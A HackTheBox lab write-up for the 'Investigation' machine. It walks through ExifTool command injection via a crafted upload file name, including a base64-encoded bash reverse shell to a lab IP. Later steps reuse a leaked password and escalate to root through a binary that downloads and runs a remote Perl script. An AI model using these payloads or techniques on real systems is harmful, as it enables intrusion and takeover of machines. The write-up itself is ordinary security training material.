Investigation – HackTheBox Writeup
Machine Name: Investigation
IP: 10.10.10.197
Difficulty: Medium
Summary
Investigation is a medium machine that has a web server vulnerable to command injection vulnerability. With enough enumeration, it is easy to exploit command injection. However, it only leads to a shell as www-data. Getting a user shell requires some log file analysis and common sense. Privilege escalation deals with binary analysis and code review.
Information Gathering
Nmap scan shows that port 22 (SSH) and 80 (HTTP) are open. The web server running on port 80 is Apache 2.4.41 and redirects to “http://eforenzics.htb/”, and so, I have added that to the /etc/hosts file.
Only one link points to a page that has a “Free service” of providing detailed forensic analysis. This page has a file upload functionality to upload JPG images only. I uploaded an image called “hxo.jpg” and it created a text file report named “hxojpg.txt”.
Obviously, this is a ExifTool output and the tool version (12.37) is also revealed in the first line. The first link that Google outputs in the search results for “exiftool 12.37 exploits” is this. The Github link explains in details about a command injection vulnerability in the tool when it tries to read the metadata of compressed images. The code checks whether the file extension is .gz or .bz2 and, if so, pipes the file through either gzip or bzip2 to decompress it before processing.
Code Review
- No Input Validation: The code assumes that the $file parameter is a valid file name, but it doesn’t validate it before using it.
- Command Injection: The code joins the $file name to construct the command. Therefore, an attacker could use shell metacharacters (such as
;
,|
, or&
), to inject additional commands or modify the behavior of the pipeline.
Let’s try to get a shell by injecting a reverse TCP shell payload as file name. To do that we need to create a file with the payload as name. First, I tried to do the below but failed. I learned that file names in linux can contain special characters excluding the forward slash character as it is hard-coded in the kernel to read it as a file.
echo "/bin/bash -i >& /dev/tcp/10.10.16.6/1234 0>&1" | base64 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjYvMTIzNCAwPiYxCg==
I captured the upload request in Burp and changed the file name.
echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjYvMTIzNCAwPiYxCg=='|base64 -d|bash|
When the request is forwarded, we get a reverse shell on the netcat listener as www-data.
Getting User Shell
If we check the users, there is a user called Smorton who we’d probably need access to get the user flag.
Since I did not find anything interesting through “sudo -l” or by browsing the directories, I decided to run linpeas.sh.
#Attacker python -m http.server 80 #www-data wget 10.10.16.6/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
A cronjob is running every 5 minutes that appends the date and time to the “analysed_log” file and then appends “Clearing folders” to the same log file. Then, it recursively deletes all files and folders from “/var/www/uploads” and removes the “analysed_images” file.
*/5 * * * * date >> /usr/local/investigation/analysed_log && echo "Clearing folders" >> /usr/local/investigation/analysed_log && rm -r /var/www/uploads/* && rm /var/www/html/analysed_images/*
In the same directory as the log file, there is a “Windows Event Logs for Analysis.msg” file created by user smorton, and can be read by everyone. Let’s download the file to our attacker machine and check it out.
#www-data python -m http.server #Attacker wget 10.10.11.197:8000/'Windows Event Logs for Analysis.msg'
I ran the file command to check the file type and found that it is a Microsoft Outlook Message.
We can use “msgconvert” tool to convert the file into a “.eml” file and then read it in an email editor.
#Install msgconvert sudo apt-get install libemail-outlook-message-perl #Convert msg to eml msgconvert Windows\ Event\ Logs\ for\ Analysis.msg
I looked for an online email editor and read the file. It contained a message with two attachments.
We find a “security.evtx” file after we unzip the “evtx-logs.zip” file. To view the .evtx log file, download this binary from github.
wget https://github.com/omerbenamram/evtx/releases/download/v0.8.1/evtx_dump-v0.8.1-x86_64-unknown-linux-gnu chmod +x evtx_dump-v0.8.1-x86_64-unknown-linux-gnu ./evtx_dump-v0.8.1-x86_64-unknown-linux-gnu security.evtx > eventlog.xml
The log file is too large to read and look for interesting events. Large datasets can only be analysed by grouping. The most obvious attribute to group would be “TargetUserName” as we are either looking for anything related to “smorton” or “root”.
When I gather all the unique usernames, I find a name that looks like a password. The user might have entered the password in the username field. We could try to use it to login as smorton.
If we look closely at the Event ID of that TargetUserName, we see that it is 4625, which is “An account failed to log on.” event description by Microsoft.
The password works and logs us in as smorton.
Privilege Escalation
As always, I tried sudo -l first and found that smorton can run binary file as root.
When we run the binary, we get a message saying “Exiting …”
Let’s transfer the file to the attacker machine to analyse it.
#smorton python3 -m http.server 8088 #Attacker wget 10.10.11.197:8088/binary
Let’s fire up Ghidra to understand why the binary returns “Exiting…” when we run it.
Import the Binary in CodeBrowser and check the main function.
undefined8 main(int param_1,long param_2) { __uid_t _Var1; int iVar2; FILE *__stream; undefined8 uVar3; char *__s; char *__s_00; if (param_1 != 3) { puts("Exiting... "); /* WARNING: Subroutine does not return */ exit(0); } _Var1 = getuid(); if (_Var1 != 0) { puts("Exiting... "); /* WARNING: Subroutine does not return */ exit(0); } iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn"); if (iVar2 != 0) { puts("Exiting... "); /* WARNING: Subroutine does not return */ exit(0); } puts("Running... "); __stream = fopen(*(char **)(param_2 + 0x10),"wb"); uVar3 = curl_easy_init(); curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8)); curl_easy_setopt(uVar3,0x2711,__stream); curl_easy_setopt(uVar3,0x2d,1); iVar2 = curl_easy_perform(uVar3); if (iVar2 == 0) { iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10)); __s = (char *)malloc((long)iVar2 + 1); snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10)); iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s); __s_00 = (char *)malloc((long)iVar2 + 1); snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s); fclose(__stream); curl_easy_cleanup(uVar3); setuid(0); system(__s_00); system("rm -f ./lDnxUysaQn"); return 0; } puts("Exiting... "); /* WARNING: Subroutine does not return */ exit(0); }
- The program the “Exiting…” message if:
- The number of CLI arguments passed is less than 3.\
- The user ID running the program is not root.
- The first CLI argument is not the string “lDnxUysaQn”
- If all checks pass, the program prints the message “Running…”.
- Then the program opens a file with the same name as the first CLI argument with write mode (wb).
- The program uses the second CLI argument as a filename and downloads it using curl. If the download is successful, it runs the command “perl ./filename” as root using system().
- Finally, it deletes the downloaded file.
In summary, when we run the binary as root, we need to provide two command line arguments. First one is the file that we host and second is the string “lDnxUysaQn”.
#Attacker vi shell.pl #!/usr/bin/perl exec("/bin/bash") python3 -m http.server 80 #smorton sudo /usr/bin/binary http://10.10.16.6/shell.pl lDnxUysaQn root@investigation:/usr/bin#
Pwned root!